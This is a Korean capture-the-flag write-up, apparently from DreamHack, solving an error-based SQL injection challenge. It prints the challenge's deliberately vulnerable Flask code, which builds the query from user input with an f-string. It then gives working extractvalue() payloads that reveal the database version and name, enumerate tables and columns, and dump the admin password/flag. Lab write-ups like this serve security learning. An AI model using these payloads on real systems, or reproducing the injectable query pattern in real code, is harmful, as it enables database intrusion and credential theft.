DreamHack/WEB

error based sql injection

G_OM 2024. 10. 18. 14:24

 

 

이게 왜 Simple이라는 거지 

 

 

 

 

 

 

 

 

 

 

 

 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

 

문제 소스코드이다.

 

소스코드에서는 볼 것은 딱 한 개 

 

(f"SELECT * FROM user WHERE uid='{uid}';")

 

SQL 구문이다.

 

user 테이블의 uid 라는 칼럼이 존재한다는 것 이건 알아두자.

 

문제화면을 보자.

 

 

 

 

 

 

 

 

 

 

 

 

uid 에 submit 하면 그대로 받아들여 보여준다.

 

싱글쿼터를 쓰면 될듯싶다.

 

이 문제는 애초에 error를 내서 플래그를 가져가라고 했으니 일부러 error를 내보자.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

maybe() 함수가 존재하지 않는다는 에러를 알려준다.

 

일단은 injection 이 먹히고 있다는 걸 알 수 있다.

 

and와 함수실행이 먹히고 있다는 것은 DB에 고정적으로 가지고 있는 함수를 쓸 수 있다는 점을 알 수 있다.

 

 

 

 

 

 

 

 

 

 

 

extractvalue(xml_frag, xpath_expr)

 

바로 extractvalue() 함수이다.

 

Error Based SQL Injection 대표적 공격 기법이다.

 

xpath_expr 인수로 원하는 SQL 쿼리를 넣었을 때 쿼리의 실행 결과가 오류 메시지에 포함된다는 방식으로 이용한다.

 

 

 

 

 

 

 

0' AND extractvalue(1, concat(0x3a, version()))--

 

 

이런 식으로 넣는다면 DB의 버전을 출력할 수 있다.

 

여기서 (1, concat(0x3 a, SQL명령어)--  이 추가된 모습 설명을 덧붙이자면

 

1은 xml_frag의 역할이다. (오류 발생 부분)

concat 은 문자열을 결합시키는 데 사용되는 SQL 내부함수

0x3 a : ':'을 나타내줌 결괏값을 정확하게 보기 위해서

version() : 버전출력하라는 SQL내부함수

 

그럼 결과를 보면....

 

 

 

 

 

: 다음에 결과값을 보면 MariaDB를 쓰고 있다는 사실을 알아낼 수 있다.

 

일단 아는 정보는 마리아 DB , user 테이블 안에 uid 칼럼이라는 사실밖에 모른다.

 

어떤 Database를 쓰는지 확인해 보자.

 

 

 

 

 

 

 

0' AND extractvalue(1,concat(0x3a,database()))--

 

database()를 출력하도록 했다.

 

이 부분은 따로 설명할 것이 없다.

 

결과를 확인해 보면...

 

 

 

 

'users'라는 데이터베이스를 쓰고 있다는 걸 확인할 수 있다. 

 

그러면 'users' 데이터베이스 안에 'user' 테이블이 있고 'uid'가 있다는 사실을 알아둔 상태이다.

 

 

 

 

 

 

 

 

 

0' AND extractvalue(1, concat(0x3a, (SELECT concat(0x3a, table_name) FROM information_schema.TABLES WHERE table_schema='users')))

 

추가된 부분은 inofrmation_schema.TABLES이다. 

SQL 표준에 따라 DBMS에서 자동으로 생성되는 메타데이터 테이블이다.

 

메타데이터는 데이터에 대한 데이터로...

예를 들면 데이터베이스에서 테이블의 구조(열 이름, 데이터 타입)와 같은 정보를 메타데이터라고 한다.

 

따라서 이 명령어는 데이터베이스 'users' 안에 있는 테이블 이름에 대해 물어보는 것이다.

 

 

 

 

user 테이블 밖에 없는 거 같다.

 

그럼 칼럼 을 확인해 보자.

 

 

 

 

 

 

 

 

0' AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='users' AND TABLE_NAME='user')))--

 

users 데이터베이스의 user 테이블의 칼럼 이름을 물어보는 구문이다.

 

실행시켜 보면...

 

 

 

 

 

 

서브쿼리가 두 개 이상의 행을 반환했다는 의미이다.

 

그럼 열의 개수가 2개 이상이라는 이야기이다.

 

LIMIT을 이용해서 하나씩 조회해 보자.

 

 

 

 

 

 

 

 

0' AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='users' AND TABLE_NAME='user' LIMIT 0,1)))--

 

조회해 보도록 하자.

 

 

 

 

총 3개의 칼럼이 있는 걸 확인할 수 있다.

 

 

 

 

 

 

 

 

0' AND extractvalue(rand(),concat(0x3a,(SELECT concat(idx,0x3a,uid,0x3a,upw) FROM users.user LIMIT 0,1)))--

 

3개의 칼럼을 조회했다.

 

 

 

 

idx : 1

uid : admin

upw : flag 값

 

을 확인할 수 있다.

 

upw 가 근데 다 나오지 않고 중간에서 잘린 상태로 출력된다.

 

이것은 XML 내장함수(extractvalue)  같은 경우 길이가 32 길이로 제한이 존재한다.

 

이 문제를 해결하면 

 

 

플래그를 얻을 수 있다.

 

글로 쓰면 술술 푼거같은데 오래 걸렸다.